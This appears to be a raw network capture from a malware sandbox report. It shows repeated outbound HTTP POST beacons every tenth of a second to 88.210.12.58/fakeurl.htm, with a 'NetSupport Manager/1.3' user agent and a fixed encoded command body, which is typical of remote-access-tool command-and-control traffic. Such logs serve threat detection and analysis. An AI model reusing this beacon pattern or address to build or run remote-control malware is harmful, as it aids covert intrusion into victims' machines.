Dec 6, 2024 10:40:47.641547918 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:47.742541075 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:47.842544079 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:47.943500042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.045375109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.144514084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.244513988 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.344511986 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.444526911 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.547420979 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.647394896 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.745523930 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.845515013 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:48.949409962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.047667027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.148528099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.249542952 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.350541115 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.450555086 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.551536083 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.651607990 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.751553059 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.852561951 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:49.952559948 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.057390928 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.157380104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.256103992 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.355462074 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.455610991 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.555625916 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.655567884 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.756534100 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.857567072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:50.960212946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:51.058593988 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:51.158633947 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:51.940551996 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.041877031 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.143904924 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.243444920 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.343436003 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.443454027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.543545008 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.645395994 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.747407913 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.847548962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:52.947519064 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.045607090 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.146557093 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.246603966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.347605944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.448575974 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.548587084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.648555040 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.749541998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.849838018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:53.949573040 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:54.053425074 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:54.150717020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:54.255776882 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:54.567648888 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:54.669414043 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:54.768578053 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:54.869421005 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:54.969718933 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.069554090 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.169606924 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.270596981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.371669054 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.472613096 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.572561026 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.673579931 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.773587942 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.874588966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:55.974560976 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.077431917 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.177398920 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.279547930 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.377576113 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.481470108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.578548908 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.678551912 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.781414986 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.880553961 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:56.980561972 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:57.081609011 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:57.182595015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:57.282634974 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:57.382580042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:57.482682943 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:57.582602978 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:57.683618069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:57.783593893 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
